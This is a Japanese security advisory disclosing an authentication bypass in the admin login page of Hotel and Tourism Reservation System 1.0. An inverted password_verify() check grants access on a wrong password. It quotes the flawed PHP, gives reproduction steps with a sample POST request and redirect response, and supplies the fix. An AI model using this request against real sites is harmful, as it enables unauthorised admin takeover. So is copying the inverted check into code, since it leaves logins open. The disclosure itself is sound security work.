
| フィールド | 詳細 |
|---|---|
| タイトル | Hotel and Tourism Reservation System - 認証バイパス |
| ベンダー | code-projects.org |
| 製品 | Hotel and Tourism Reservation System |
| バージョン | 1.0 |
| 脆弱性タイプ | 不適切な認証 |
| CWE | CWE-287 |
| CVSSスコア | 9.0 (緊急) |
| CVSSベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるファイル | /admin/login.php |
| 認証要件 | 不要 |
| リモートからの悪用 | 可能 |
Hotel and Tourism Reservation System 1.0 の管理者ログイン機能には、重大な認証バイパス脆弱性が存在します。この脆弱性は、password_verify() の戻り値に対する条件チェックが反転していることに起因し、誤ったパスワードが入力された場合にアクセスを許可し、正しいパスワードが入力された場合にアクセスを拒否します。認証されていないリモート攻撃者は、有効なメールアドレスと任意の誤ったパスワードを入力するだけで、完全な管理者アクセスを取得できます。
ファイル: admin/login.php — 39〜46行目
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() は、入力されたパスワードがハッシュと一致した場合に true を返します。開発者は成功時のロジックを else 分岐(関数が false を返した場合に実行される)内に配置したため、誤ったパスワードが入力されると認証が許可されてしまいます。
リモートの認証されていない攻撃者は、以下を行うことができます:
セットアップ: XAMPP に Hotel and Tourism Reservation System 1.0 をインストールします。http://localhost/ht/ でアプリにアクセスします。
ステップ 1: 管理者ログインページに移動します。
http:///ht/admin/login.php
ステップ 2: 有効な管理者メールアドレスと任意の誤ったパスワードを入力します。
メール: [email protected] パスワード: wrongpassword
ステップ 3: ログイン をクリックします。
結果: アプリケーションは認証をバイパスし、管理者ダッシュボード (index.php) にリダイレクトされます。誤ったパスワードで完全な管理者アクセスが許可されます。
リクエスト:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
レスポンス:
HTTP/1.1 302 Found
Location: index.php
index.php への 302 リダイレクトは、誤ったパスワードでの認証成功を裏付けています。
password_verify() が true を返した場合にログインが許可されるよう、条件分岐を入れ替えます:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — 独立系セキュリティ研究者